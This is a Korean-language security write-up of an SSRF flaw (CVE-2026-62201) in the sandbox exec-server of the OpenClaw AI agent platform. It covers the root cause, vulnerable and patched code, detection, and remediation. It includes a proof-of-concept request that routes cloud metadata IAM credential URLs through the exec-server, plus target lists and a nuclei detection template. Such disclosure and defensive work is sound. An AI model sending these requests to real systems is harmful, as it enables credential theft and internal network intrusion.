
CVE-2026-62201 심층 분석: OpenClaw 샌드박스 exec-server 네트워크 정책 우회(SSRF). 근본 원인, 취약한 코드와 패치된 코드 비교, 악용, 탐지, 해결 방법.
| 필드 | 값 |
|---|
| 권고 | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| 제품 | OpenClaw (npm 패키지 openclaw) — 샌드박스 exec-server 구성 요소 |
| 영향 범위 | openclaw < 2026.6.6 |
| 패치 버전 | 2026.6.6 이상 |
| 근본 원인 | exec-server의 내장 HTTP 헬퍼(SANDBOX_HTTP_REQUEST_SCRIPT)에 SSRF 검증 누락 |
| 수정 커밋 | 21410d1c — "fix(codex): guard sandbox http requests" |
| 공격 벡터 | 공격자가 제어하는 URL을 사용한 exec-server의 http/request 핸들러로의 HTTP POST |
| 영향 | 낮은 권한의 호출자가 OpenClaw 네트워크 정책이 차단해야 하는 내부 네트워크 대상(클라우드 메타데이터, 사설 IP, localhost 서비스)에 도달 |
OpenClaw는 AI 에이전트 플랫폼으로, 샌드박스 exec-server는 에이전트가 아웃바운드 웹 호출에 사용하는 HTTP 요청 헬퍼를 노출합니다. 2026.6.6 이전 버전에는 해당 헬퍼에 SSRF 보호 기능이 없었습니다: 신뢰 수준이 낮은 호출자(플랫폼이 게이트웨이 운영자보다 덜 신뢰하는 모든 에이전트, 도구 또는 입력 경로)가 임의의 URL을 제출하고 exec-server가 호스트 네트워크 내부에서 이를 가져오도록 할 수 있었습니다.
직접적인 샌드박스 이그레스에 적용되는 네트워크 정책 검사는 요청이 exec-server HTTP 인터페이스를 경유할 때 적용되지 않았습니다. 이러한 불일치가 바로 취약점입니다: exec-server가 내부 네트워크로의 제한 없는 HTTP 프록시 역할을 했습니다.
OpenClaw가 샌드박스에서 Codex 에이전트를 실행할 때, WebSocket/HTTP 전송을 통해 JSON-RPC 메서드를 호스팅하는 로컬 exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts)를 시작합니다. 해당 메서드 중 하나인 http/request는 에이전트가 URL을 가져올 수 있게 합니다. 구현은 요청을 작은 임베디드 Python 스크립트인 SANDBOX_HTTP_REQUEST_SCRIPT를 통해 전달하며, 이 스크립트가 실제 urllib 작업을 수행합니다.
요청 핸들러는 extensions/codex/src/app-server/sandbox-exec-server/http.ts에 있습니다.
Python 헬퍼는 URL을 수신하고 스킴만 확인했습니다:
# [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (요약)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
이것이 전체 게이트였습니다. 다음이 없었습니다:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/로의 리다이렉트가 무비판적으로 따라짐결과: {"method":"GET","url":"http://<internal-host>/"}가 내부 응답 본문을 호출자에게 반환했습니다. exec-server는 호스트 네트워크로의 개방형 프록시였습니다.
커밋 21410d1c는 두 계층 모두에 심층 방어를 추가했습니다:
계층 1 — TypeScript 사전 검사(http.ts의 assertSandboxHttpRequestTargetAllowed):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
계층 2 — Python 헬퍼 강화(임베디드 스크립트의 assert_url_allowed):
localhost, localhost.localdomain, metadata.google.internal, 그리고 *.localhost, *.local, *.internal 접미사169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, 벤치마킹 198.18.0.0/15, 문서용 2001:db8::/32 등ipaddress 분류: 루프백, 사설, 링크-로컬, 멀티캐스트, 예약, 미지정GuardedRedirectHandler: 모든 리다이렉트 홉은 따라가기 전에 assert_url_allowed를 다시 실행합니다::ffff:a.b.c.d), 6to4(2002::/16), Teredo 및 ISATAP 형식이 언랩되고 내장된 IPv4가 검사됩니다def assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6http/request를 호출할 수 있는 능력(플랫폼은 이를 낮은 권한 액세스로 취급 — 예: 플러그인, 도구 또는 입력 경로, 게이트웨이 운영자가 아님)1단계 — 내부 서비스를 대상으로 하는 요청 전송:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
2단계 — 취약한 응답 (HTTP 200):
exec-server가 내부 URL을 가져와 본문을 호출자에게 반환했습니다 — bodyBase64로 base64 래핑됨:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
디코딩됨:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
3단계 — 패치된 응답 (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
패치된 버전에서는 내부 대상이 exec-server를 통해 도달할 수 없습니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 자격 증명http://127.0.0.1:<port>/로 동일 위치의 인증되지 않은 관리 인터페이스에 접근CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 높음
권고의 프레임워크가 중요합니다: OpenClaw의 신뢰된 운영자 모델은 게이트웨이 운영자가 신뢰할 수 있다고 가정합니다. 버그는 신뢰 수준이 낮은 표면(플러그인, 도구, 입력 경로)이 정책이 차단했어야 할 대상에 도달할 수 있다는 것입니다.
OAST 기반의 탐지 템플릿이 제공되며 내부 토폴로지에 대한 사전 지식이 필요 없습니다:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
업스트림에 제출됨: projectdiscovery/nuclei-templates#17183
url 필드가 포함된 /exec/http(또는 이에 상응하는 WebSocket JSON-RPC)로의 POST 요청169.254.169.254, 100.100.100.200)로의 요청npm install [email protected](또는 이후 버전). 수정 사항은 TS 경계와 Python 헬퍼 내부 모두에 완전한 SSRF 검증을 추가합니다.2026.6.6이 연구는 공개적으로 공개된 취약점 데이터와 격리된 실험실에 배포된 소프트웨어를 대상으로 수행되었습니다. 실제 운영 시스템, 제3자 네트워크 또는 제로데이 연구는 포함되지 않습니다. 여기에 사용된 모든 PoC는 무해한 읽기 전용 요청입니다.